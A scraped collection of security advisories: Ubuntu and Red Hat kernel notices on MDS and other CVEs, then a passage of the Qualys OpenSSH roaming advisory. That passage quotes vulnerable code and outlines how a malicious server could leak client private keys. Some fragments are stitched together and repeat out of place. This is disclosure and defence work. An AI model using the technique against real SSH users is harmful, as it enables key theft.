systems\n- linux-azure: Linux kernel for Microsoft Azure Cloud systems\n- linux-gcp: Linux kernel for Google Cloud Platform (GCP) systems\n- linux-kvm: Linux kernel for cloud environments\n- linux-raspi2: Linux kernel for Raspberry Pi 2\n\nDetails:\n\nKe Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Giorgi Maisuradze, Dan\nHorea Lutas, Andrei Lutas, Volodymyr Pikhur, Stephan van Schaik, Alyssa\nMilburn, Sebastian \\xd6sterlund, Pietro Frigo, Kaveh Razavi, Herbert Bos,\nCristiano Giuffrida, Moritz Lipp, Michael Schwarz, and Daniel Gruss\ndiscovered that memory previously stored in microarchitectural fill buffers\nof an Intel CPU core may be exposed to a malicious process that is\nexecuting on the same CPU core. (CVE-2018-12130)\n\nBrandon Falk, Ke Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Stephan\nvan Schaik, Alyssa Milburn, Sebastian \\xd6sterlund, Pietro Frigo, Kaveh\nRazavi, Herbert Bos, and Cristiano Giuffrida discovered that memory\npreviously stored in microarchitectural load ports of an Intel CPU core may\nbe exposed to a malicious process that is executing on the same CPU core. \n(CVE-2018-12127)\n\nKe Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Marina Minkin, Daniel\nMoghimi, Moritz Lipp, Michael Schwarz, Jo Van Bulck, Daniel Genkin, Daniel\nGruss, Berk Sunar, Frank Piessens, and Yuval Yarom discovered that memory\npreviously stored in microarchitectural store buffers of an Intel CPU core\nmay be exposed to a malicious process that is executing on the same CPU\ncore. \n(CVE-2018-12126)\n\nVasily Averin and Evgenii Shatokhin discovered that a use-after-free\nvulnerability existed in the NFS41+ subsystem when multiple network\nnamespaces are in use. A local attacker in a container could use this to\ncause a denial of service (system crash) or possibly execute arbitrary\ncode. (CVE-2018-16884)\n\nKe Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Volodrmyr Pikhur,\nMoritz Lipp, Michael Schwarz, Daniel Gruss, Stephan van Schaik, Alyssa\nMilburn, Sebastian \\xd6sterlund, Pietro Frigo, Kaveh Razavi, Herbert Bos, and\nCristiano Giuffrida discovered that uncacheable memory previously stored in\nmicroarchitectural buffers of an Intel CPU core may be exposed to a\nmalicious process that is executing on the same CPU core. (CVE-2019-11091)\n\nMatteo Croce, Natale Vinto, and Andrea Spagnolo discovered that the cgroups\nsubsystem of the Linux kernel did not properly account for SCTP socket\nbuffers. A local attacker could use this to cause a denial of service\n(system crash). (CVE-2019-3874)\n\nAlex Williamson discovered that the vfio subsystem of the Linux kernel did\nnot properly limit DMA mappings. A local attacker could use this to cause a\ndenial of service (memory exhaustion). (CVE-2019-3882)\n\nMarc Orr discovered that the KVM hypervisor implementation in the Linux\nkernel did not properly restrict APIC MSR register values when nested\nvirtualization is used. An attacker in a guest vm could use this to cause a\ndenial of service (host OS crash). (CVE-2019-3887)\n\nHugues Anguelkov discovered that the Broadcom Wifi driver in the Linux\nkernel contained a head puffer overflow. A physically proximate attacker\ncould use this to cause a denial of service (system crash) or possibly\nexecute arbitrary code. (CVE-2019-9500)\n\nHugues Anguelkov discovered that the Broadcom Wifi driver in the Linux\nkernel did not properly prevent remote firmware events from being processed\nfor USB Wifi devices. A physically proximate attacker could use this to\nsend firmware events to the device. (CVE-2019-9503)\n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 18.10:\n  linux-image-4.18.0-1011-gcp     4.18.0-1011.12\n  linux-image-4.18.0-1012-kvm     4.18.0-1012.12\n  linux-image-4.18.0-1014-raspi2  4.18.0-1014.16\n  linux-image-4.18.0-1016-aws     4.18.0-1016.18\n  linux-image-4.18.0-1018-azure   4.18.0-1018.18\n  linux-image-4.18.0-20-generic   4.18.0-20.21\n  linux-image-4.18.0-20-generic-lpae  4.18.0-20.21\n  linux-image-4.18.0-20-lowlatency  4.18.0-20.21\n  linux-image-4.18.0-20-snapdragon  4.18.0-20.21\n  linux-image-aws                 4.18.0.1016.16\n  linux-image-azure               4.18.0.1018.19\n  linux-image-gcp                 4.18.0.1011.11\n  linux-image-generic             4.18.0.20.21\n  linux-image-generic-lpae        4.18.0.20.21\n  linux-image-gke                 4.18.0.1011.11\n  linux-image-kvm                 4.18.0.1012.12\n  linux-image-lowlatency          4.18.0.20.21\n  linux-image-powerpc-e500mc      4.18.0.20.21\n  linux-image-powerpc-smp         4.18.0.20.21\n  linux-image-powerpc64-emb       4.18.0.20.21\n  linux-image-powerpc64-smp       4.18.0.20.21\n  linux-image-raspi2              4.18.0.1014.11\n  linux-image-snapdragon          4.18.0.20.21\n  linux-image-virtual             4.18.0.20.21\n\nAfter a standard system update you need to reboot your computer to make\nall the necessary changes. \n\nPlease note that fully mitigating the Microarchitectural Data Sampling\n(MDS) issues (CVE-2018-12126, CVE-2018-12127, CVE-2018-12130, and\nCVE-2019-11091) requires corresponding processor microcode/firmware\nupdates or, in virtual environments, hypervisor updates. These packages include redhat-release-virtualization-host,\novirt-node, and rhev-hypervisor. RHVH features a Cockpit user\ninterface for monitoring the host\u0027s resources and performing administrative\ntasks. These\npackages include redhat-release-virtualization-host, ovirt-node, and\nrhev-hypervisor. RHVH features a Cockpit user interface for\nmonitoring the host\u0027s resources and performing administrative tasks. (CVE-2019-11091)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. \n\nSoftware Description:\n- intel-microcode: Processor microcode for Intel CPUs\n\nDetails:\n\nUSN-3977-1 provided mitigations for Microarchitectural Data Sampling\n(MDS) vulnerabilities in Intel Microcode for a large number of Intel\nprocessor families. This update provides the corresponding updated\nmicrocode mitigations for Intel Cherry Trail and Bay Trail processor\nfamilies. 7) - noarch, x86_64\n\n3. Description:\n\nThe kernel-rt packages provide the Real Time Linux Kernel, which enables\nfine-tuning for systems with extremely high determinism requirements. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n=====================================================================\n                   Red Hat Security Advisory\n\nSynopsis:          Important: kernel security and bug fix update\nAdvisory ID:       RHSA-2019:1170-01\nProduct:           Red Hat Enterprise Linux\nAdvisory URL:      https://access.redhat.com/errata/RHSA-2019:1170\nIssue date:        2019-05-14\nCVE Names:         CVE-2016-7913 CVE-2016-8633 CVE-2017-11600 \n                   CVE-2017-12190 CVE-2017-13215 CVE-2017-16939 \n                   CVE-2017-17558 CVE-2017-1000407 CVE-2018-1068 \n                   CVE-2018-3665 CVE-2018-12126 CVE-2018-12127 \n                   CVE-2018-12130 CVE-2018-18559 CVE-2019-11091 \n=====================================================================\n\n1. Summary:\n\nAn update for kernel is now available for Red Hat Enterprise Linux 7.4\nExtended Update Support. \n\nRed Hat Product Security has rated this update as having a security impact\nof Important. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux ComputeNode EUS (v. 7.4) - noarch, x86_64\nRed Hat Enterprise Linux ComputeNode Optional EUS (v. 7.4) - x86_64\nRed Hat Enterprise Linux Server EUS (v. 7.4) - noarch, ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Server Optional EUS (v. 7.4) - ppc64, ppc64le, x86_64\n\n3. Description:\n\nThe kernel packages contain the Linux kernel, the core of any Linux\noperating system. \n\nSecurity Fix(es):\n\n* A flaw was found in the implementation of the \"fill buffer\", a mechanism\nused by modern CPUs when a cache-miss is made on L1 CPU cache. If an\nattacker can generate a load operation that would create a page fault, the\nexecution will continue speculatively with incorrect data from the fill\nbuffer while the data is fetched from higher level caches. This response\ntime can be measured to infer data in the fill buffer. (CVE-2018-12130)\n\n* Modern Intel microprocessors implement hardware-level micro-optimizations\nto improve the performance of writing data back to CPU caches. The write\noperation is split into STA (STore Address) and STD (STore Data)\nsub-operations. These sub-operations allow the processor to hand-off\naddress generation logic into these sub-operations for optimized writes. \nBoth of these sub-operations write to a shared distributed processor\nstructure called the \u0027processor store buffer\u0027. As a result, an unprivileged\nattacker could use this flaw to read private data resident within the CPU\u0027s\nprocessor store buffer. (CVE-2018-12126)\n\n* Microprocessors use a \u2018load port\u2019 subcomponent to perform load operations\nfrom memory or IO. During a load operation, the load port receives data\nfrom the memory or IO subsystem and then provides the data to the CPU\nregisters and operations in the CPU\u2019s pipelines. Stale load operations\nresults are stored in the \u0027load port\u0027 table until overwritten by newer\noperations. Certain load-port operations triggered by an attacker can be\nused to reveal data about previous stale requests leaking data back to the\nattacker via a timing side-channel. (CVE-2019-11091)\n\n* kernel: Buffer overflow in firewire driver via crafted incoming packets\n(CVE-2016-8633)\n\n* kernel: crypto: privilege escalation in skcipher_recvmsg function\n(CVE-2017-13215)\n\n* Kernel: ipsec: xfrm: use-after-free leading to potential privilege\nescalation (CVE-2017-16939)\n\n* kernel: Out-of-bounds write via userland offsets in ebt_entry struct in\nnetfilter/ebtables.c (CVE-2018-1068)\n\n* kernel: Use-after-free due to race condition in AF_PACKET implementation\n(CVE-2018-18559)\n\n* kernel: media: use-after-free in [tuner-xc2028] media driver\n(CVE-2016-7913)\n\n* kernel: Out-of-bounds access via an XFRM_MSG_MIGRATE xfrm Netlink message\n(CVE-2017-11600)\n\n* kernel: memory leak when merging buffers in SCSI IO vectors\n(CVE-2017-12190)\n\n* kernel: Unallocated memory access by malicious USB device via\nbNumInterfaces overflow (CVE-2017-17558)\n\n* Kernel: KVM: DoS via write flood to I/O port 0x80 (CVE-2017-1000407)\n\n* Kernel: FPU state information leakage via lazy FPU restore\n(CVE-2018-3665)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. \n\nBug Fix(es):\n\n* rwsem in inconsistent state leading system to hung (BZ#1690321)\n\n* efi_bgrt_init fails to ioremap error during boot (BZ#1692284)\n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nThe system must be rebooted for this update to take effect. \n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1391490 - CVE-2016-8633 kernel: Buffer overflow in firewire driver via crafted incoming packets\n1402885 - CVE-2016-7913 kernel: media: use-after-free in [tuner-xc2028] media driver\n1474928 - CVE-2017-11600 kernel: Out-of-bounds access via an XFRM_MSG_MIGRATE xfrm Netlink message\n1495089 - CVE-2017-12190 kernel: memory leak when merging buffers in SCSI IO vectors\n1517220 - CVE-2017-16939 Kernel: ipsec: xfrm: use-after-free leading to potential privilege escalation\n1520328 - CVE-2017-1000407 Kernel: KVM: DoS via write flood to I/O port 0x80\n1525474 - CVE-2017-17558 kernel: Unallocated memory access by malicious USB device via bNumInterfaces overflow\n1535173 - CVE-2017-13215 kernel: crypto: privilege escalation in skcipher_recvmsg function\n1552048 - CVE-2018-1068 kernel: Out-of-bounds write via userland offsets in ebt_entry struct in netfilter/ebtables.c\n1585011 - CVE-2018-3665 Kernel: FPU state information leakage via lazy FPU restore\n1641878 - CVE-2018-18559 kernel: Use-after-free due to race condition in AF_PACKET implementation\n1646781 - CVE-2018-12126 hardware: Microarchitectural Store Buffer Data Sampling (MSBDS)\n1646784 - CVE-2018-12130 hardware: Microarchitectural Fill Buffer Data Sampling (MFBDS)\n1667782 - CVE-2018-12127 hardware: Micro-architectural Load Port Data Sampling - Information Leak (MLPDS)\n1705312 - CVE-2019-11091 hardware: Microarchitectural Data Sampling Uncacheable Memory (MDSUM)\n\n6. Package List:\n\nRed Hat Enterprise Linux ComputeNode EUS (v. 7.4):\n\nSource:\nkernel-3.10.0-693.47.2.el7.src.rpm\n\nnoarch:\nkernel-abi-whitelists-3.10.0-693.47.2.el7.noarch.rpm\nkernel-doc-3.10.0-693.47.2.el7.noarch.rpm\n\nx86_64:\nkernel-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-debug-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-debug-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-debug-devel-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-debuginfo-common-x86_64-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-devel-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-headers-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-tools-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-tools-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-tools-libs-3.10.0-693.47.2.el7.x86_64.rpm\nperf-3.10.0-693.47.2.el7.x86_64.rpm\nperf-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\npython-perf-3.10.0-693.47.2.el7.x86_64.rpm\npython-perf-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode Optional EUS (v. 7.4):\n\nx86_64:\nkernel-debug-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-debuginfo-common-x86_64-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-tools-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-tools-libs-devel-3.10.0-693.47.2.el7.x86_64.rpm\nperf-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\npython-perf-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Server EUS (v. 7.4):\n\nSource:\nkernel-3.10.0-693.47.2.el7.src.rpm\n\nnoarch:\nkernel-abi-whitelists-3.10.0-693.47.2.el7.noarch.rpm\nkernel-doc-3.10.0-693.47.2.el7.noarch.rpm\n\nppc64:\nkernel-3.10.0-693.47.2.el7.ppc64.rpm\nkernel-bootwrapper-3.10.0-693.47.2.el7.ppc64.rpm\nkernel-debug-3.10.0-693.47.2.el7.ppc64.rpm\nkernel-debug-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm\nkernel-debug-devel-3.10.0-693.47.2.el7.ppc64.rpm\nkernel-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm\nkernel-debuginfo-common-ppc64-3.10.0-693.47.2.el7.ppc64.rpm\nkernel-devel-3.10.0-693.47.2.el7.ppc64.rpm\nkernel-headers-3.10.0-693.47.2.el7.ppc64.rpm\nkernel-tools-3.10.0-693.47.2.el7.ppc64.rpm\nkernel-tools-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm\nkernel-tools-libs-3.10.0-693.47.2.el7.ppc64.rpm\nperf-3.10.0-693.47.2.el7.ppc64.rpm\nperf-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm\npython-perf-3.10.0-693.47.2.el7.ppc64.rpm\npython-perf-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm\n\nppc64le:\nkernel-3.10.0-693.47.2.el7.ppc64le.rpm\nkernel-bootwrapper-3.10.0-693.47.2.el7.ppc64le.rpm\nkernel-debug-3.10.0-693.47.2.el7.ppc64le.rpm\nkernel-debug-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm\nkernel-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm\nkernel-debuginfo-common-ppc64le-3.10.0-693.47.2.el7.ppc64le.rpm\nkernel-devel-3.10.0-693.47.2.el7.ppc64le.rpm\nkernel-headers-3.10.0-693.47.2.el7.ppc64le.rpm\nkernel-tools-3.10.0-693.47.2.el7.ppc64le.rpm\nkernel-tools-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm\nkernel-tools-libs-3.10.0-693.47.2.el7.ppc64le.rpm\nperf-3.10.0-693.47.2.el7.ppc64le.rpm\nperf-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm\npython-perf-3.10.0-693.47.2.el7.ppc64le.rpm\npython-perf-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm\n\ns390x:\nkernel-3.10.0-693.47.2.el7.s390x.rpm\nkernel-debug-3.10.0-693.47.2.el7.s390x.rpm\nkernel-debug-debuginfo-3.10.0-693.47.2.el7.s390x.rpm\nkernel-debug-devel-3.10.0-693.47.2.el7.s390x.rpm\nkernel-debuginfo-3.10.0-693.47.2.el7.s390x.rpm\nkernel-debuginfo-common-s390x-3.10.0-693.47.2.el7.s390x.rpm\nkernel-devel-3.10.0-693.47.2.el7.s390x.rpm\nkernel-headers-3.10.0-693.47.2.el7.s390x.rpm\nkernel-kdump-3.10.0-693.47.2.el7.s390x.rpm\nkernel-kdump-debuginfo-3.10.0-693.47.2.el7.s390x.rpm\nkernel-kdump-devel-3.10.0-693.47.2.el7.s390x.rpm\nperf-3.10.0-693.47.2.el7.s390x.rpm\nperf-debuginfo-3.10.0-693.47.2.el7.s390x.rpm\npython-perf-3.10.0-693.47.2.el7.s390x.rpm\npython-perf-debuginfo-3.10.0-693.47.2.el7.s390x.rpm\n\nx86_64:\nkernel-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-debug-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-debug-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-debug-devel-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-debuginfo-common-x86_64-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-devel-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-headers-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-tools-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-tools-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-tools-libs-3.10.0-693.47.2.el7.x86_64.rpm\nperf-3.10.0-693.47.2.el7.x86_64.rpm\nperf-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\npython-perf-3.10.0-693.47.2.el7.x86_64.rpm\npython-perf-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional EUS (v. 7.4):\n\nppc64:\nkernel-debug-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm\nkernel-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm\nkernel-debuginfo-common-ppc64-3.10.0-693.47.2.el7.ppc64.rpm\nkernel-tools-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm\nkernel-tools-libs-devel-3.10.0-693.47.2.el7.ppc64.rpm\nperf-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm\npython-perf-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm\n\nppc64le:\nkernel-debug-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm\nkernel-debug-devel-3.10.0-693.47.2.el7.ppc64le.rpm\nkernel-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm\nkernel-debuginfo-common-ppc64le-3.10.0-693.47.2.el7.ppc64le.rpm\nkernel-tools-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm\nkernel-tools-libs-devel-3.10.0-693.47.2.el7.ppc64le.rpm\nperf-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm\npython-perf-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm\n\nx86_64:\nkernel-debug-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-debuginfo-common-x86_64-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-tools-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\nkernel-tools-libs-devel-3.10.0-693.47.2.el7.x86_64.rpm\nperf-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\npython-perf-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security.  Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2016-7913\nhttps://access.redhat.com/security/cve/CVE-2016-8633\nhttps://access.redhat.com/security/cve/CVE-2017-11600\nhttps://access.redhat.com/security/cve/CVE-2017-12190\nhttps://access.redhat.com/security/cve/CVE-2017-13215\nhttps://access.redhat.com/security/cve/CVE-2017-16939\nhttps://access.redhat.com/security/cve/CVE-2017-17558\nhttps://access.redhat.com/security/cve/CVE-2017-1000407\nhttps://access.redhat.com/security/cve/CVE-2018-1068\nhttps://access.redhat.com/security/cve/CVE-2018-3665\nhttps://access.redhat.com/security/cve/CVE-2018-12126\nhttps://access.redhat.com/security/cve/CVE-2018-12127\nhttps://access.redhat.com/security/cve/CVE-2018-12130\nhttps://access.redhat.com/security/cve/CVE-2018-18559\nhttps://access.redhat.com/security/cve/CVE-2019-11091\nhttps://access.redhat.com/security/updates/classification/#important\nhttps://access.redhat.com/security/vulnerabilities/mds\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2019 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIVAwUBXNsSadzjgjWX9erEAQgP9w//UOww3aPtqTYiBUzHHXgpOdxbU3bUjQo9\nAL+l/A6WPXAz/RJpSMuxliNuRj9MXSZCHqn1cnalTIZfJGh58wIZEi3Nh/NYbHDd\nb4HFEy2CoaFJ24aiLC+hheslmgsXLxyx334lrNq+o/t48KKC5dfuOSta+g9+y6XG\n7SugZR/GCgZUj0DdLaEmCdLcla9unxiegRACUgMatTzZQTI3h/nQWkRF5D0Vwq+g\nhz/5+p5HCUJTr9n/5el5Q12AipHkzVjakiGbjK1NCoPiRVHRKo+no0tRQsx+a0kN\nH/vL2QevSYv2RGNrtKX0irAMmQvccaaapvX3rDR/7Pyk+QdZz2d8SbPIec5xsvm3\n52g+jqL/gQKP4dNch37LVfCiNPHt/IjEBHjy2dES6Q2uXPdL6OjT1++ygN96l3yu\nbJeNcbBVDxLoZR8w7yrNoRDjR06y2fo7Q8Gvw/BjyXe7Ka/gNGBujHroAvgQVGPi\nK92PQlnnKzTwzkQ0G6i/klPzyh07yqmH/vpygphFUcHztiLCQ26DpPamc0PFwXAs\nURu1erbnWsl4HPlvzu3vMIdZEkwN8CUr1rj9a140N05+jhjhDqXb+gzq+DpSYhR3\nT4W8Vq9CFczOm0wY4VojDEyPQuHuheg49lzshwnr65r77vWWNfZlo6BwmK/uRT8d\nmS+Mf+im58s=\n=ebla\n-----END PGP SIGNATURE-----\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n",
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var-201601-0029
Vulnerability from variot

The resend_bytes function in roaming_common.c in the client in OpenSSH 5.x, 6.x, and 7.x before 7.1p2 allows remote servers to obtain sensitive information from process memory by requesting transmission of an entire buffer, as demonstrated by reading a private key. OpenSSH client code versions 5.4 through 7.1p1 contains a client information leak vulnerability that could allow an OpenSSH client to leak information not limited to but including private keys, as well as a buffer overflow in certain non-default configurations. OpenSSH is prone to a heap-based buffer-overflow vulnerability. Successful exploits may allow attackers to execute arbitrary code in the context of the affected application. Failed attacks will cause denial-of-service conditions. Successfully exploiting this issue allows attackers to obtain sensitive information that may aid in further attacks. OpenSSH (OpenBSD Secure Shell) is a set of connection tools for securely accessing remote computers maintained by the OpenBSD project team. This tool is an open source implementation of the SSH protocol, supports encryption of all transmissions, and can effectively prevent eavesdropping, connection hijacking, and other network-level attacks. The following versions are affected: OpenSSH 5.x, 6.x, 7.x prior to 7.1p2. Qualys Security Advisory

Roaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778

======================================================================== Contents ========================================================================

Summary Information Leak (CVE-2016-0777) - Analysis - Private Key Disclosure - Mitigating Factors - Examples Buffer Overflow (CVE-2016-0778) - Analysis - Mitigating Factors - File Descriptor Leak Acknowledgments Proof Of Concept

======================================================================== Summary ========================================================================

Since version 5.4 (released on March 8, 2010), the OpenSSH client supports an undocumented feature called roaming: if the connection to an SSH server breaks unexpectedly, and if the server supports roaming as well, the client is able to reconnect to the server and resume the suspended SSH session. This information leak may have already been exploited in the wild by sophisticated attackers, and high-profile sites or users may need to regenerate their SSH keys accordingly.

The buffer overflow, on the other hand, is present in the default configuration of the OpenSSH client but its exploitation requires two non-default options: a ProxyCommand, and either ForwardAgent (-A) or ForwardX11 (-X). This buffer overflow is therefore unlikely to have any real-world impact, but provides a particularly interesting case study.

All OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be easily hot-fixed by setting the undocumented option "UseRoaming" to "no", as detailed in the Mitigating Factors section. OpenSSH version 7.1p2 (released on January 14, 2016) disables roaming by default.

======================================================================== Information Leak (CVE-2016-0777) ========================================================================


Analysis

If the OpenSSH client connects to an SSH server that offers the key exchange algorithm "resume@appgate.com", it sends the global request "roaming@appgate.com" to the server, after successful authentication. If this request is accepted, the client allocates a roaming buffer out_buf, by calling malloc() (and not calloc()) with an out_buf_size that is arbitrarily chosen by the server:

63 void 64 roaming_reply(int type, u_int32_t seq, void *ctxt) 65 { 66 if (type == SSH2_MSG_REQUEST_FAILURE) { 67 logit("Server denied roaming"); 68 return; 69 } 70 verbose("Roaming enabled"); .. 75 set_out_buffer_size(packet_get_int() + get_snd_buf_size()); .. 77 }

40 static size_t out_buf_size = 0; 41 static char out_buf = NULL; 42 static size_t out_start; 43 static size_t out_last; .. 75 void 76 set_out_buffer_size(size_t size) 77 { 78 if (size == 0 || size > MAX_ROAMBUF) 79 fatal("%s: bad buffer size %lu", func, (u_long)size); 80 / 81 * The buffer size can only be set once and the buffer will live 82 * as long as the session lives. 83 */ 84 if (out_buf == NULL) { 85 out_buf_size = size; 86 out_buf = xmalloc(size); 87 out_start = 0; 88 out_last = 0; 89 } 90 }

The OpenSSH client's roaming_write() function, a simple wrapper around write(), calls wait_for_roaming_reconnect() to transparently reconnect to the SSH server after a disconnection. It also calls buf_append() to copy the data sent to the server into the roaming buffer out_buf. During a reconnection, the client is therefore able to resend the data that was not received by the server because of the disconnection:

198 void 199 resend_bytes(int fd, u_int64_t offset) 200 { 201 size_t available, needed; 202 203 if (out_start < out_last) 204 available = out_last - out_start; 205 else 206 available = out_buf_size; 207 needed = write_bytes - offset; 208 debug3("resend_bytes: resend %lu bytes from %llu", 209 (unsigned long)needed, (unsigned long long)*offset); 210 if (needed > available) 211 fatal("Needed to resend more data than in the cache"); 212 if (out_last < needed) { 213 int chunkend = needed - out_last; 214 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend, 215 chunkend); 216 atomicio(vwrite, fd, out_buf, out_last); 217 } else { 218 atomicio(vwrite, fd, out_buf + (out_last - needed), needed); 219 } 220 }

In the OpenSSH client's roaming buffer out_buf, the most recent data sent to the server begins at index out_start and ends at index out_last. As soon as this circular buffer is full, buf_append() maintains the invariant "out_start = out_last + 1", and consequently three different cases have to be considered:

  • "out_start < out_last" (lines 203-204): out_buf is not full yet (and out_start is still equal to 0), and the amount of data available in out_buf is indeed "out_last - out_start";

  • "out_start > out_last" (lines 205-206): out_buf is full (and out_start is exactly equal to "out_last + 1"), and the amount of data available in out_buf is indeed the entire out_buf_size;

  • "out_start == out_last" (lines 205-206): no data was ever written to out_buf (and both out_start and out_last are still equal to 0) because no data was ever sent to the server after roaming_reply() was called, but the client sends (leaks) the entire uninitialized out_buf to the server (line 214), as if out_buf_size bytes of data were available.

In order to successfully exploit this information leak and retrieve sensitive information from the OpenSSH client's memory (for example, private SSH keys, or memory addresses useful for further exploitation), a malicious server needs to:

  • Massage the client's heap before roaming_reply() malloc()ates out_buf, and force malloc() to return a previously free()d but uncleansed chunk of sensitive information. The simple proof-of-concept in this advisory does not implement heap massaging.

  • Guess the client's get_snd_buf_size() in order to precisely control out_buf_size. OpenSSH < 6.0 accepts out_buf sizes in the range (0,4G), and OpenSSH >= 6.0 accepts sizes in the range (0,2M]. Sizes smaller than get_snd_buf_size() are attainable because roaming_reply() does not protect "packet_get_int() + get_snd_buf_size()" against integer wraparound. The proof-of-concept in this advisory attempts to derive the client's get_snd_buf_size() from the get_recv_buf_size() sent by the client to the server, and simply chooses a random out_buf_size.

  • Advise the client's resend_bytes() that all "available" bytes (the entire out_buf_size) are "needed" by the server, even if fewer bytes were actually written by the client to the server (because the server controls the "offset" argument, and resend_bytes() does not protect "needed = write_bytes - offset" against integer wraparound).

Finally, a brief digression on a minor bug in resend_bytes(): on 64-bit systems, where "chunkend" is a 32-bit signed integer, but "out_buf" and "out_buf_size" are 64-bit variables, "out_buf + out_buf_size - chunkend" may point out-of-bounds, if chunkend is negative (if out_buf_size is in the [2G,4G) range). This negative chunkend is then converted to a 64-bit size_t greater than SSIZE_MAX when passed to atomicio(), and eventually returns EFAULT when passed to write() (at least on Linux and OpenBSD), thus avoiding an out-of-bounds read from the OpenSSH client's memory.


Private Key Disclosure

We initially believed that this information leak in the OpenSSH client's roaming code would not allow a malicious SSH server to steal the client's private keys, because:

  • the information leaked is not read from out-of-bounds memory, but from a previously free()d chunk of memory that is recycled to malloc()ate the client's roaming buffer out_buf;

  • private keys are loaded from disk into memory and freed by key_free() (old API, OpenSSH < 6.7) or sshkey_free() (new API, OpenSSH >= 6.7), and both functions properly cleanse the private keys' memory with OPENSSL_cleanse() or explicit_bzero();

  • temporary copies of in-memory private keys are freed by buffer_free() (old API) or sshbuf_free() (new API), and both functions attempt to cleanse these copies with memset() or bzero().

However, we eventually identified three reasons why, in our experiments, we were able to partially or completely retrieve the OpenSSH client's private keys through this information leak (depending on the client's version, compiler, operating system, heap layout, and private keys):

(besides these three reasons, other reasons may exist, as suggested by the CentOS and Fedora examples at the end of this section)

